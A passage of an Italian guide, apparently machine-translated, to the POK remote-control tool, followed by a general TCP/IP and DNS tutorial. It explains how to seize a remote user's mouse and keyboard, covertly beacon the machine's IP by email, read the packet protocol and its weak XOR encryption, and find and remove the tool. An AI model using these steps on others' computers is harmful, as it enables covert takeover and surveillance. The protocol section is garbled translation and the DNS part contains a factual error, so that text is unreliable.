· Il plug-in è in funzione. Nel caso di Bo_peep, dopo l'attivazione del VidStream sul vostro schermo compare una porzione, in scala 1:1, dello schermo della macchina da amministrare. La porzione segue i movimenti del mouse della macchina da amministrare. Ogni movimento che avviene sullo schermo di quella macchina compare anche sul vostro schermo. Questo vi consente, ad esempio, di aiutare l'utente da amministrare: se gli compare ad esempio un messaggio o una schermata a cui non sa rispondere, potete chiedergli di far scorrere il suo mouse sulla parte di schermo che contiene il problema. 

Molti plug-in offrono più di una funzione: ad esempio, Bo_peep consente non soltanto di vedere la schermata dell'utente da amministrare, ma anche (se necessario) di prendere il controllo del suo mouse e della sua tastiera.

· Nella finestra che contiene i comandi del programma client, l'amministratore attiva l'opzione di Bo_peep denominata Hijack cliccando su Start Hijack e poi su Send command. 

· Dal menu Plug-ins, l'amministratore sceglie di nuovo Bo_peep, ma invece di selezionare VidStream Client seleziona Hijack Client: compare la finestra Console Hijack Client, nella quale clicca su Connect. 

· Nella finestra di dialogo che compare, l'amministratore immette (nella casella Server Address) l'indirizzo IP della macchina da amministrare, seguito da simbolo di due punti e dal numero della porta usata dal plug-in per questa funzione, come indicato durante la configurazione (nel nostro esempio, quindi, 192.168.0.1: 18006). 

· Fatto questo, l'amministratore clicca sul pulsante con l'immagine del mouse e/o su quello con l'immagine della tastiera per prendere il controllo dei medesimi sulla macchina da amministrare. L'utente da amministrare perde il controllo del mouse e della tastiera. 

· L'amministratore digita Ctrl-Alt-Z: il suo cursore diventa un pallino rosso, e i suoi spostamenti comandano il cursore del mouse della macchina remota da amministrare. Analogamente, le digitazioni della tastiera dell'amministratore vengono ricevute ed eseguite sulla macchina da amministrare. 

Cap. 5    Scoprire l'indirizzo IP della macchina da amministrare

Uno dei problemi dell'amministrazione remota via Internet è che l'amministratore ha bisogno di conoscere l'indirizzo IP corrente della macchina da amministrare. Solitamente questo indirizzo non è statico, ma varia ogni volta che la macchina da amministrare si collega a Internet.

Se l'utente da amministrare è ragionevolmente competente nell'uso di Windows, esiste un modo semplicissimo di determinare l'indirizzo IP: L'amministratore chiede all'utente di eseguire la seguente procedura:

· L'utente da amministrare si collega a Internet. Deve restare collegato durante questa procedura e non deve scollegarsi da Internet finché glielo dice l'amministratore. 

· Dal menu Start, l'utente da amministrare sceglie Esegui e digita winipcfg. Ottiene una finestra di questo tipo: 
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· In questa finestra, l'utente seleziona dal menu a tendina la voce PPP adapter o simili (l'importante è che parli di PPP) e poi guarda il numero indicato alla voce IP Address o simile (comunque è il secondo numero dall'alto). Nella figuraè riportato l’indirizzo statico della rete locale 192.168.0.207. 

· L'utente da amministrare comunica all'amministratore il numero relativo alla coesione internet PPP, che è l'indirizzo IP. La comunicazione va fatta senza interrompere la connessione a Internet. L'utente può ad esempio mandare un e-mail all'amministratore oppure telefonargli su un'altra linea o sul cellulare. 

· A questo punto l'amministratore sa tutto quello che gli serve per accedere alla macchina da amministrare. 

L'alternativa: notifica automatica via e-mail

Purtroppo non tutti gli utenti Windows sono abbastanza competenti da eseguire la procedura descritta sopra (altrimenti non avrebbero bisogno di amministrazione remota), per cui capita spesso che l'amministratore abbia bisogno di scoprire l'indirizzo IP senza dover disturbare l'utente.

Per questo si può ricorrere a un altro plug-in, di nome Butt Trumpet, facilmente reperibile in Rete. L'installazione segue la falsariga di quella del plug-in precedente. Il risultato è che ogni volta che la macchina da amministrare si collega a Internet, Pok_Server spedisce all'amministratore un e-mail contenente l'indirizzo IP corrente della macchina da amministrare. Semplice, pratico, facile.

Cap.6  Protocollo e Crittografia   

Il protocollo

Il cambio di dati tra il CLIENT e SERVER POK è fatto utilizzando pacchetti UDP (utent datagram protocol) crittografati. Il formato di questi è semplice, così come è lo schema crittografico utilizzato. Il server si collega normalmente alla porta 31337 UDP, ma può essere configurato ad uso un altra porta. Tutti i pacchetti POK dal server al client o vice-versa hanno lo stesso formato di base. Notate che anche se nessuna password è realizzata sul server o sul client, i pacchetti POK sono comunque sempre crittografati. 

Formato di pacchetto

I pacchetti POK sono composti di una testata dei 17 byte che contiene le caratteristiche del pacchetto, oltre a dati di carico utile (almeno 1 byte.) I pacchetti finiscono con un  byte CRC. 

Campi di pacchetti:

	Strumento mnemonico
	Dimensione in byte

	Magia
	8

	LEN
	4

	ID
	4

	T
	1

	Dati
	Variabile

	CRC
	1


Campi di testata

MAGIC - una stringa di otto byte che identifica il pacchetto POK. La sequenza di caratteri è fissa e deve essere la stringa *!*QWTY?"(Stella, colpo, stella ", Q" ", W" ", T" ", Y, "domanda.) 

Intero di 32 bit LEN - A che contiene la lunghezza dell'intero pacchetto, compreso la testata. Il valore di questo campo non può essere meno di 19 (la lunghezza di testata oltre a, almeno, 1 byte di dati  e 1 byte CRC.) 

Intero di 32 bit ID - A che contiene l'identificazione del pacchetto UDP. Questo campo è utilizzato per tenere traccia del numero di sequenza di frammento di pacchetti dall’algoritmo di trasmissione frammentati?. È utilizzato anche dal client POK per fare coincidere un pacchetto ricevuto con i pacchetti precedentemente inviati. 

Gli " interi di 32 bit "utilizzati nella testata di pacchetti POK non sono trasmessi in ordine di rete, ma con il suo byte meno significativo inviato per primo. Per esempio, " l'intero0x11bb55eeÈ trasmesso in  questo ordine: 0xee, 0x55, 0xbbE0x11.
T - questo campo contiene il tipo di operazione che il pacchetto porta, i 2 pezzi più significativi sono utilizzati per segnalare alcune condizioni sul pacchetto, come la frammentazione di un grande pacchetto. I restanti 6 bit sono utilizzati per specificare l'operazione POK effettiva. 

Dati

Il campo dati di un pacchetto POK segue giustamente la testata. È composto di una sequenza semplice di caratteri, finito da un carattere con codice ASCII0 (zero) -- NUL. Questo carattere di terminatore è obbligatorio.Il contenuto del campo di dati dovrebbe essere interpretato diversamente se il pacchetto va dal server al client, o se entra in modo contrario. In pacchetti che vanno dal client al server, consentono l’invio di fino a due sequenze di stringhe che  possono essere inviate nel campo di dati, poiché essi sono separati da un carattere NUL. In pacchetti che vanno dal server dal client, c'è solo una stringa con la risposta al  comando

CRT

 Dopo il campo dati, c'è un campo di 1 byte contenendo il CRC del pacchetto. IL client POK ignora il valore di questo byte.

Crittografia

Tutti i pacchetti POK sono crittografati. L'intero pacchetto POK (includendo la testata) è crittografato. Lo schema crittografico utilizzato è semplice, e dipende da una chiave segreta (la password) che deve essere conosciuto dalle due parti. La password è utilizzata per solo crittografare pacchetti; la password non percorre mai la rete, non può quindi essere agganciata durante il transito da appositi programmi (sniffer). 

La crittografia è fatta applicando (un'or esclusiva ) operazione XOR tra ogni byte del pacchetto e il valore consecutivo ritornati da un generatore di numero casuale. Questo generatore è inizializzato con un valore che dipende dalla password segreta utilizzata nella comunicazione. In questo modo, avendo la stessa password, sia il generatore di numero casuale (il server e il cliente ) sarà inizializzato con lo stesso seme, percui essi restituiranno la stessa sequenza di " "numeri casuali "che saranno utilizzati per crittografare/ decrittografare il pacchetto. 

Questo schema crittografico non è forte, del resto la crittografia avviane per ogni singolo pacchetto che  contengono sempre una sequenza fissa di caratteri (MAGIC) nella testata. Da ispezione di un singolo pacchetto crittografato può essere possibile ottenere la sequenza iniziale di numeri casuali generata, quindi è possibile utilizzare un attacco di forza brutale per scoprire il seme di generatore di numero casuale. Questo è molto fattibile perché la gamma di possibili valori è piuttosto piccola. I metodi utilizzati per decrittografare e crittografare un pacchetto POK senza sapere la password che è utilizzata è rintracciabile nella bibliografia studiando gli algoritmi di estrazione dei mulinelli Random. 

Il generatore di numero casuale

Il protocollo POK utilizza la seguente funzione di generatore di numero casuale: 

POKRAND(x) = (x * 214013) + 2531011 

Dove A * B "Indica la moltiplicazione di A per B,  e +La solita operazione di somma”. 

Il valore del parametro iniziale del (seme) è derivato dalla password di comunicazione (vedete sotto.) Il valore successivo è sempre il risultato del valore restituito dall'ultima corsa. Per esempio, una sequenza di " "numeri casuali X1, X2, ..., Xn Può essere ottenuto nel modo seguente: 

X 1 = POKRAND (IV) X 2 = POKRAND (X 1) X 3 = POKRAND (X 2 ...) X n = POKRAND (X n - 1)

Dove IV È il seme e Xn È il numero casuale  ennesimo. 

Il seme

Il seme da utilizzare sul generatore di numero casuale POK è generato utilizzando la password di comunicazione. Se nessuna password viene utilizzata, il valore di 31337 speciale è impiegato come il seme. Altrimenti, il seguente algoritmo dà il seme da una password S: 

X = 0 Y = length (number of characters) of S Z = 0 WHILE X < Y

 
Z = Z + S[X] X = X + 1 END X = 0 WHILE X < Y IF X is odd 


Z = Z - (S[X] * (Y - X + 1)) ELSE Z = Z + (S[X] * (Y -


X + 1)) END Z = Z % 0x7fffffff X = X + 1 END Z = (Z * Y) %

0x7fffffff IV = Z

DoveS[n]"È il carattere  ennesimo della password A % B " Il resto della divisione di A per B, e IV" Il seme che stiamo cercando. 

Nota: Il generatore di numero casuale è  re+ inizializzato con lo un nuovo seme ogni volta che un pacchetto è inviato. 

Crittografando/ decrittografando

Il seguente algoritmo è una dimostrazione di come può essere crittografato o decrittografato un pacchetto POK: 

L = lunghezza di un pacchetto POK X =0 Z = IV WHILE X < L Z = POKRAND (Z) P [X] = P [X] ^ ((Z > > 16) & 0xff) X = X + 1 END

DoveP[n]"Indica il byte  ennesimo del pacchetto A ^ B"L'operazione XOR bit a bit tra A e BA >> B"Il cambiamento di 32 bit di A per B pezzi nella destra,  A & B"L'operazione AND bit a bit tra A e B. 

Trasferimento file TCP

Il trasferimento di archivi che utilizzano TCP (operazioni TYPE_TCPFILESEND e TYPE_TCPFILERECIVED) è fatto con l'apertura del server tramite la porta  specificata nel parametro del comando. 

Quando il CLIENT invia un pacchetto TYPE_TCPFILESEND, il server apre l'archivio specificato e aspetta di sentire un collegamento TCP sulla porta TCP specificata. Quindi il CLIENT si collega a quella porta e inizia inviando l'archivio. 

Quando il CLIENT desidera ricevere un archivio, invia un pacchetto TYPE_TCPFILERECEIVE specificando il nome archivio chiesto e la  porta TCP. Il server quindi aprirà la porta specificata e comincerà a trasferire l'archivio non appena qualcuno (probabilmente il CLIENT) si gli collega.

Determinazione se POK è stato installato sulla vostra macchina:
Il server POK esegue numerose operazioni poiché si installa su un ospite di destinazione:
· Installate una copia del server POK  nell'indice di sistema (c\:windows\system) poiché ".exe" con un qualsiasi nome specificato dall’utente.
· Create una chiave di registrazione sotto HKEY_LOCAL_MACHINESOFTWARE\Microsoft\WindowsCurrentVersion\RunServices con il nome archivio del nome archivio di server e un campo di descrizione "(Default)" o una descrizione specificata da utente. 
· Il server inizierà l’ascolto sulla porta 31337 UDP, o una porta UDP specificata dall'installatore. Potete configurare RealSecure per controllare il  traffico di rete sulla porta di default UDP 31337 in modo da avvertire eventuali segni di comunicazione attiva.
Allo scopo di determinare se siete vulnerabili:
1. Avviate il programma (c:\windows\regedit.exe) regedit. 2. Accedete al chiave HKEY_LOCAL_MACHINESOFTWARE\Microsoft\WindowsCurrentVersion\RunServices. Cercate qualsiasi servizio che può non essere stato installato volutamente sulla macchina. Se la lunghezza di uno di questi è quasi 124,928 (arrotondato a 30 byte)  esso è probabilmente POK. 
Azione raccomandata:
POK può essere rimosso cancellando il server e eliminando la sua entrata di registrazione. Se possibile, dovreste sostenere tutti i dati di utente, formattare il vostro disco rigido, e reinstallare tutti i sistemi operativi e il software nella macchina infettata. Determinazione della password e della configurazione di un installazione POK:
1. Utilizzando un editor di testi come il blocchetto per appunti, esaminate il server  exe .
2. Se l'ultima riga dell'archivio è '8 8$8 (8,8084888 < 8@8D8H8L8P8T8X88'8d8h8l8,' quindi il server sta utilizzando la configurazione di default. Altrimenti, la configurazione vuole sono le 'ultime numerose righe di questo archivio, in questo ordine:
· Nome file < > 
· Descrizione del servizio < > 
· Numero di porto < > 
· Password < > 
· Informazioni plugin facoltative < > 
Cap.7  Il protocollo TCP/IP

"la suite di protocolli TCP/IP" definisce le regole utilizzate per la trasmissione su Internet.

Il nome completo è TCP/IP Internet Protocol Suite, ed è un insieme di protocolli di trasmissione di cui i due principali sono appunto il TCP (Transmission Control Protocol) e l'IP (Internet Protocol). Ma che cosa è esattamente un protocollo? Essenzialmente è una serie di regole per comporre dei messaggi e per far sì che essi possano essere scambiati tra due macchine. Non stiamo parlando solo di computer. Anche una centrale telefonica meccanica può ricadere in questa definizione. Un protocollo può contenere regole estremamente dettagliate, come quelle che identificano il significato di ogni singolo bit nella costruzione di un messaggio, oppure fornire uno scenario di alto livello, come per esempio definire come avviene il trasferimento di un file da un computer a un altro.

Una generica architettura di trasmissione è formata da una torre a più piani, dove ogni piano rappresenta una precisa responsabilità nella trasmissione dei messaggi. Alla base della torre sta la porta di accesso alla rete fisica, che potremmo pensare come una rete di strade. Ogni piano prende il messaggio che arriva dal piano superiore, lo mette in una busta con alcune informazioni aggiuntive, e lo passa come messaggio al piano inferiore.

Le regole di comunicazione tra i vari piani sono dette interfacce. Il messaggio risultante, formato da tante buste una dentro l'altra, viene immesso nella rete dalla porta che si trova alla base della torre. Una volta arrivato al piano terreno infatti, esso viene trasportato alla torre di destinazione e da qui risale un piano dopo l'altro fino all'ultimo piano, detto anche livello applicativo. Ogni piano della torre di destinazione apre solo la busta che gli compete e usa le informazioni aggiuntive per recapitare la busta successiva al piano superiore. Le informazioni aggiuntive rappresentano il protocollo di comunicazione. Ogni piano comunica quindi solo con il piano corrispondente.

La base di ogni protocollo è il concetto di standardizzazione. Più vasta è l'accettazione dello standard, più forte e diffuso è il protocollo. Gli standard internazionali sono in genere i più importanti, ma non sempre. Un esempio è proprio il TCP/IP, nato per volontà dell'agenzia americana DARPA (Defense Advanced Research Projects Agency) e poi diventato di fatto il maggior sistema di protocolli per l'interconnessione di reti a livello mondiale.

Internet è fatta a strati Internet è basato su tre livelli concettuali: il livello applicativo (Application Services), quello del trasporto (Reliable Stream Transport Service) e quello della spedizione dei pacchetti (Connectionless Packet Delivery Service). Per capire il TCP/IP, è necessario a questo punto capire bene che cosa è Internet. Tanto per cominciare Internet non è una rete di comunicazione. Una rete di comunicazione è in genere legata alle necessità specifiche di chi l'ha disegnata e dell'hardware utilizzato per implementarla. Costruire una rete ideale che vada bene per qualsiasi esigenza, o pensare di poter limitare a un solo tipo di hardware l'implementazione di una qualunque rete non solo non è fattibile, ma neanche auspicabile, date le limitazioni delle tecnologie attuali. A volte è necessario far correre i dati molto velocemente in un ambito molto ristretto, come per esempio all'interno di un edificio.

Altre volte si ha l'esigenza di trasmettere dati a migliaia di chilometri di distanza in modo molto affidabile, anche se questo può significare un rallentamento nella velocità di trasmissione. Se si cercasse di utilizzare lo stesso hardware in entrambi i casi, i costi sarebbero assolutamente inaccettabili.

La soluzione è l'interconnessione delle reti, o internetworking. Grazie a ponti di collegamento (detti gateway) e la definizione di opportuni protocolli, si possono collegare fra di loro reti anche molto diverse, fornendone agli utenti una visione comune. Questa è la forza di Internet rispetto alle varie reti proprietarie, e di conseguenza del TCP/IP sui vari protocolli proprietari. Il TCP/IP è un insieme di regole pubbliche, aperte a tutti, o come si dice nell'ambiente, un sistema aperto (open system), che permette l'interconnessione di reti anche molto differenti, indipendentemente dalla tecnologia usata da ogni rete. I suoi principali vantaggi sono appunto l'indipendenza dalle tecnologie delle singole reti interconnesse, la possibilità di far comunicare fra di loro ogni computer connesso al sistema, la possibilità di trasmettere conferme di ricezione (acknowledgement) direttamente dal destinatario al mittente, e soprattutto una notevole quantità di protocolli applicativi per qualunque possibile bisogno, come vedremo più avanti. Il TCP/IP definisce quindi una unità di trasmissione dati chiamata datagram, e le regole da seguire per trasmettere un datagram in una particolare rete.

Il principio che sta alla base dell'interconnessione è quello di schermare le applicazioni dalle caratteristiche fisiche delle reti in modo semplice e flessibile. Questo avviene attraverso un livello intermedio che si occupa di spedire e ricevere piccoli pacchetti di dati fra due punti qualsiasi del sistema di reti. Questo meccanismo si chiama packet-switching. Esso consiste nella divisione di ogni messaggio in un certo numero di pacchetti di dati. Ogni pacchetto è formato da poche centinaia di byte, e contiene una intestazione che fornisce informazioni sul destinatario e su come raggiungerlo. Questo meccanismo ha il vantaggio di ottimizzare l'utilizzo della rete, parallelizzando la trasmissione di più messaggi contemporaneamente. Lo svantaggio è che ogni nuovo sistema che si aggancia alla rete per trasferire dati riduce la disponibilità della rete per tutti gli altri sistemi già connessi. Una rete infatti ha una certa capacità ben definita, che dipende sostanzialmente dalla tecnologia hardware e software che utilizza.

Tale capacità viene misurata in bit per second (bps). Questa grandezza non rappresenta la velocità dei dati in rete, come si potrebbe pensare in prima istanza, bensì dà una misura del numero massimo di bit che possono essere trasmessi nella rete in un secondo. La velocità reale di un singolo messaggio dipende da tanti fattori, come il numero di sistemi che stanno utilizzando la rete, la qualità delle connessioni e di conseguenza il numero di tentativi necessari per trasferire correttamente i dati, le modalità di trasmissione e i dati aggiuntivi necessari al trasferimento degli stessi.

Ci sono altri modi per trasferire dati in una rete: per esempio, quando fate una telefonata, la rete stabilisce un collegamento diretto fra il vostro telefono e quello della persona chiamata. A questo punto il telefono incomincia a campionare il microfono della vostra cornetta in modo continuo, trasferendo il segnare al ricevitore all'altro capo. Il tutto a 64.000 bit per secondo, che è la velocità di campionamento necessaria a digitalizzare la voce. Questo avviene comunque, indipendentemente dal fatto che stiate parlando o meno. Anche se state in silenzio la linea è saturata al massimo della sua capacità. Questo meccanismo è detto circuit-switching. Al contrario del meccanismo usato dal TCP/IP, quello cioè a pacchetti, la linea è completamente assegnata alla comunicazione in atto, per cui il fatto che altri stiano telefonando non riduce la capacità della connessione. D'altra parte la linea è utilizzata completamente indipendentemente dal fatto che ci siano o meno dati da trasferire. Di qui gli elevati costi di tale meccanismo. La telefonata, infatti, la pagate lo stesso sia che parliate molto velocemente, sia che stiate completamente in silenzio. Questo meccanismo è troppo costoso per una rete informatica, specialmente se si tiene conto che la disponibilità di tecnologie hardware sempre più raffinate e veloci per il trasferimento dei dati bilanciano in buona parte quello che è uno dei punti deboli del sistema a pacchetti, e cioè l'impossibilità di garantire a ogni utente e in ogni momento una certa capacità di trasferimento ben definita.

L’indirizzamento.

Torniamo al sistema a pacchetti. Per trasferire dati da un sistema a un altro ogni sistema ha un nome unico ben definito. Non esistono cioè due sistemi con lo stesso nome, anche se in reti diverse, indipendentemente da quale è il nome locale di un sistema nella sua rete di appartenenza. All'interno di ciascuna rete, i vari computer usano la tecnologia hardware e software specifica di quella rete. Tuttavia, grazie a questo strato intermedio di software, le varie applicazioni hanno una visione unica e globale del sistema interconnesso di reti, detto appunto internet. Notate la "i" minuscola. Il concetto di internet è infatti quello appena descritto. Viceversa Internet con la "I" maiuscola, identifica quel sistema di reti, basato sull'architettura internet, che viene detto anche Connected Internet.

La connessione tra due reti avviene attraverso macchine opportune che sono collegate fisicamente a entrambe le reti, e hanno la responsabilità di far passare i vari pacchetti da una rete all'altra e viceversa. Tali macchine sono dette internet gateway, o anche IP router. Sono loro il vero elemento portante di una internet. Ogni router non solo deve sapere che determinati pacchetti vanno passati da una rete a un'altra, ma deve passare dall'altra parte anche pacchetti destinati a ulteriori reti connesse attraverso altri router. Essi però ragionano solo in termini di reti, non di destinazione finale. A un router non interessa chi è effettivamente il destinatario di un pacchetto, ma solo a quale rete appartiene. Questo semplifica molto l'implementazione di un router. Alla base del meccanismo dei router c'è l'indirizzo IP, o IP address.

Come nascono gli identificativi Internet.

Ogni cosa che conosciamo ha un nome. Cane, casa, auto, e via dicendo. Se ci interessa specificare meglio ciò di cui stiamo parlando, possiamo assegnare un nome anche a un sottogruppo di cose. Così abbiamo che i cani bassotti sono alquanto diversi dai San Bernardo, una catapecchia non è certo una villa, e una Ferrari costa un po' più di una Cinquecento. Se poi dobbiamo identificare una cosa in modo chiaro e univoco, è necessario assegnarle un nome che solo quella cosa ha. Già un nome come Mario Rossi non va bene, perché non è unico, e comunque, anche se scegliessimo oggi un nome veramente strano e originale, non avremmo la garanzia in futuro di non ritrovarci con un caso di omonimia. Ecco allora le targhe per le automobili, i codici fiscali per le persone, i numeri di telefono, e via dicendo. Ognuno di questi nomi ha tre caratteristiche. La prima è che esiste un organo competente centrale che li assegna, proprio per garantirne l'univocità. La seconda, è che hanno una struttura a sottogruppi. Esistono cioè degli elementi che garantiscono l'univocità a un certo livello, all'interno del quale esiste una certa libertà di scelta, e così via, livello dopo livello. Per esempio, il codice fiscale viene costruito in modo che un uomo e una donna non possano mai avere lo stesso codice, anche se fossero nati lo stesso giorno, nella stessa città e si chiamassero nello stesso modo. Similmente, i numeri di telefono di due città diverse si distinguono per il prefisso e se queste si trovano anche in stati diversi, per il prefisso internazionale.

Affinché internet possa rappresentare un sistema universale di comunicazione, permetta cioè di far comunicare qualunque macchina connessa a una delle sue reti con una qualsivoglia altra macchina connessa alla stessa o a un'altra rete, è necessario fornire ogni macchina di un nome unico a livello globale. Internet fornisce ogni sistema di un nome, che identifica il sistema stesso, di un indirizzo, che mi dice dove si trova il sistema, e di un cammino, che mi dice come raggiungere il sistema. Ogni macchina connessa a una rete è detta host, nella terminologia internet.

Gli indirizzi IP
L'indirizzo, o IP address, è un campo composto da 32 bit. I primi bit permettono di distinguere 5 forme standard identificate da una lettera del alfabeto, e dette classi. Le prime tre classi dell'IP address contengono sia l'indirizzo di una rete (netid), sia quello di una macchina nella stessa (hostid). In realtà l'indirizzo non identifica necessariamente una macchina, ma una connessione alla rete. Per esempio, un router ha almeno due indirizzi, avendo connessioni ad almeno due reti. Questo in quanto un router appartiene a entrambe le reti, e quindi sono necessari due indirizzi dato che un IP address ha posto per un solo indirizzo di rete. Se l'indirizzo dell'host è 0, allora l'IP address si riferisce alla rete stessa. Se viceversa tutti i bit riservati all'indirizzo dell'host sono 1, allora l'indirizzo viene utilizzato per identificare tutti gli host della rete (broadcasting). Uno speciale indirizzo formato da 32 bit posti a uno è chiamato local network broadcast address e serve solo in casi molto particolari. Il concetto di broadcasting è quello della diffusione a tutto raggio, un po' come fa un'emittente radiofonica. In generale internet interpreta i campi formati da tutti uno come all, cioè "tutti", mentre quelli formati da tutti zero come this, cioè "questo", "qui". Questo per quanto riguarda le classi A, B e C. La classe D è usata per un particolare tipo di distribuzione dei dati detto multicasting. La classe E è riservata a usi futuri. Dato che specificare ogni singolo bit di un indirizzo IP sarebbe alquanto poco pratico e di scarsa leggibilità, la convenzione è quella di leggere ogni ottetto, cioè ogni gruppo di 8 bit, come un intero, e di separare i quattro ottetti con un punto. Oltre a i casi speciali già descritti, l'indirizzo di classe A 127.0.0.0 è riservato per un particolare processo di test che rimanda indietro i dati al mittente senza propagarli nella rete.

Uno dei vantaggi di questo schema è la possibilità da parte dell'organismo centrale che assegna gli indirizzi (Network Information Center) di delegare ai responsabili delle singole reti l'assegnazione di una parte dell'indirizzo all'interno della rete stessa. La cosa avviene un poco come con i numeri di telefono. A livello internazionale ogni stato ha il suo prefisso internazionale. Per esempio, per l'Italia, è 39. All'interno ogni stato divide il paese in aree geografiche a cui assegna un ulteriore codice. Per esempio, Roma è identificata dal 6, Milano dal 2, Firenze da 55, e così via. All'interno poi della provincia o della città possono essere definite ulteriormente sottoaree a cui si assegnano due, tre o quattro cifre. Per esempio 529 oppure 7054. Infine ogni telefono in tali aree avrà il suo numero. Così, se Mr. Smith deve chiamare dagli Stati Uniti il signor Mario Rossi abitante all'EUR, a Roma, comporrà per esempio il numero 011.39.6.529.4467. In questo caso lo 011 serve per uscire dagli USA, un po' come il nostro 00.

Analogamente in internet i numeri di classe C sono assegnati alla piccole reti, quelle cioè con meno di 256 host, quelli di classe B alle reti con al massimo 65536 host, e quelli di classe A alle reti con oltre 16 milioni di host. Ogni rete decide poi come suddividere gli indirizzi che gli sono stati riservati al suo interno come meglio crede. Ovviamente, una internet privata non ha la necessità di seguire queste regole, né a utilizzare indirizzi assegnati dal NIC, ma il non farlo potrebbe impedire in futuro la connessione alla TCP/IP Internet. Dato che l'indirizzo può essere a volte abbastanza ostico da ricordare, è possibili associare a ogni host anche un nome, che può essere utilizzato come mnemonico per un IP address, e la cui risoluzione è responsabilità di particolari macchine chiamate name server. In realtà il name server è un programma software che può girare in qualunque macchina connessa alla rete, e che mantiene l'associazione tra nomi e indirizzi IP, fornendo tali corrispondenze quando richiesto da un altro programma chiamato name resolver. Di fatto, si preferisce far girare il name server su una macchina dedicata, che prende anch'essa, a questo punto, il nome di name server. Potete pensare al name server come a una agenda telefonica elettronica, che contiene una lista parziale di nomi e numeri telefonici. In internet infatti, non esiste un singolo elenco telefonico, ma tanti name server che cooperano per fornire quello che è un vero e proprio elenco distribuito. In realtà il sistema funziona in modo gerarchico, un po' come se una certa agenda contenesse solo i prefissi internazionali e il puntatore alle agende di ogni singolo stato, le quali a loro volta contengono i prefissi regionali e i puntatori agli elenchi regionali, e così via, fino ad arrivare all'agenda che contiene solo le estensioni telefoniche di un singolo edificio.

Il Domain Name System
I nomi Internet sono basati su una serie di regole dette Domain Name System (DNS), che si basa appunto su uno schema gerarchico in cui il nome è suddiviso in varie parti separate fra loro da punti. Per esempio, vnet.ibm.com. Ogni suffisso è a sua volta un dominio. Quindi, nel nostro esempio, ibm.com è un dominio di secondo livello, mentre com è un dominio di terzo livello. I domini ufficiali riconosciuti dal NIC al livello più elevato sono riportati in tabella 1. Una rete può richiedere di essere registrata come categoria, oppure usando il dominio geografico. Per esempio, l'Italia ha come dominio base it. Supponiamo che il governo decida di costruire un insieme di reti cittadine interconesse fra loro e connesse a Internet. Si può pensare di assegnare a ogni provincia un dominio xxxxxx.it. Per esempio, Firenze avrebbe come dominio firenze.it. L'università di Firenze potrebbe registrare la sue rete come unifi.edu, e in tal caso sarebbe direttamente il NIC a dover dare l'autorizzazione per tale nome, essendo il dominio edu sotto responsabilità dell'organismo centrale di controllo, oppure potrebbe decidere di far parte del dominio cittadino, come unifi.firenze.it, e quindi potrebbe richiedere il permesso di registrare tale nome direttamente all'amministratore del dominio di Firenze. A questo punto, se il dipartimento di Fisica di Arcetri vuole registrare un proprio dominio, deve chiederlo solo all'Università stessa, ricevendo così, per esempio, arcetri.usf.fi.it oppure fisica.usf.fi.it. Esiste una piccola complicazione. Ogni oggetto connesso alla rete ha un tipo. Oggetti di tipo diverso possono avere lo stesso nome. Per cui, per poter risolvere un nome e ottenere indietro l'indirizzo IP, è necessario anche specificare il tipo di oggetto: macchina, utente, casella postale, e via dicendo. Dal solo nome non è possibile evincere il tipo di oggetto.

Il DNS definisce anche come associare i nomi agli indirizzi IP, e come ottenere quest'ultimi dal nome. In realtà lo schema è ancora più generale di quanto può sembrare, in quanto permette di estendere la sintassi del nome per usi specifici, sfruttando anche il concetto di tipo. Per esempio, nel caso di una casella postale (tipo MX), il nome sarà del tipo utente@dominio.

Le trasmissioni Internet.

Innanzi tutto una rete internet è un sistema di interconnessione fra reti differenti che utilizza sia sistemi dedicati per la connessione, detti gateway, sia uno strato (layer) di protocolli che mostrano alle applicazioni una visione omogenea di una rete virtuale e che sono basati sulla trasmissione di piccoli pacchetti di dati. Ogni pacchetto porta con sé l'indirizzo del destinatario il quale identifica univocamente sia la rete di destinazione che la connessione alla quale deve essere recapitato il pacchetto. Un sistema connesso a più reti della stessa internet avrà quindi più indirizzi IP. Un opportuno software, spesso installato su macchine dedicate, permette di associare a ogni indirizzo un nome di più facile utilizzo da parte degli utenti del sistema. Il formato di questo nome si basa su un insieme di regole dette DNS. Quella che è universalmente conosciuta come Internet è di fatto la principale rete interconnessa esistente, che si estende praticamente su tutto il pianeta.

Data questa premessa, vediamo di approfondire la trattazione dei protocolli TCP/IP. Innanzi tutto qualunque trasferimento di dati implica la trasmissione di bit da un sistema a un altro. Tali dati devono essere correttamente interpretati dai vari sistemi connessi alla rete. Data l'enorme varietà di hardware e di sistemi operativi questo è tutt'altro che banale. Nei protocolli di trasmissione i bit vengono convenzionalmente raggruppati per multipli di otto, detti ottetti. Una volta questo corrispondeva al bus da 8 bit, cioè un byte, tipico dei computer. Oggi la maggior parte dei computer usa parole di almeno 32 bit. Tuttavia non tutte le macchine memorizzano tali parole nello stesso modo. Esistono vari modi per memorizzare un intero rappresentato da 32 bit. In quello detto Little Endian, la posizione più bassa in memoria contiene il byte di ordine più basso dell'intero. Nei sistemi Big Endian avviene esattamente il contrario, cioè la posizione più bassa in memoria contiene il byte di ordine più elevato. In altri sistemi ancora il raggruppamento viene fatto con parole da 16 bit, in cui la parola meno significativa viene appunto prima. Il risultato è lo stesso del Little Endian ma con i byte invertiti all'interno di ogni singola parola. È evidente che non è pensabile che sia la rete a gestire tutti questi modi diversi di interpretare i dati, anche perché di solito i protocolli di trasmissione non entrano nel merito di come ragionano i singoli sistemi, ma si occupano solamente di trasferire in modo più o meno affidabile i dati a loro affidati. Ne consegue la necessità di definire un formato standard valido per tutti i dati che corrono lungo i collegamenti, lasciando a i vari sistemi il compito di effettuare le opportune conversioni locali. Lo standard internet prevede che gli interi vengano trasmessi a partire dal byte più significativo, secondo lo stile del Big Endian.

Così in un pacchetto, un intero ha il byte più significativo verso la testa del pacchetto e quello meno significativo verso la coda dello stesso.

A questo punto i sistemi sono in grado di scambiarsi i dati in modo non equivoco. Ma come fa a sapere la rete internet che un sistema è collegato, e soprattutto, come avviene l'associazione tra l'IP address e l'indirizzo fisico di rete? Ogni rete fisica infatti ha un suo formato per gli indirizzi fisici assegnati alle connessioni di rete. In generale esistono due modi di assegnare indirizzi fisici alle macchine connesse in rete. In una rete piccola, come può essere una Token Ring, cioè un anello di un paio di centinaia di macchine al massimo, a ogni connessione può essere assegnato un intero basso, per esempio compreso tra 1 e 254. Questo sistema ha il vantaggio di associare l'indirizzo fisico alla connessione piuttosto che alla scheda che permette la stessa. Per cui, se la scheda si rompe, l'utente può cambiarla senza dover tuttavia modificare l'indirizzo fisico di rete, purché imposti sulla nuova scheda lo stesso indirizzo di quella vecchia. Lo svantaggio è che non esiste alcun controllo che impedisca a due utenti sulla stessa rete di impostare lo stesso indirizzo fisico, creando così una collisione. In altri tipi di reti, come per esempio 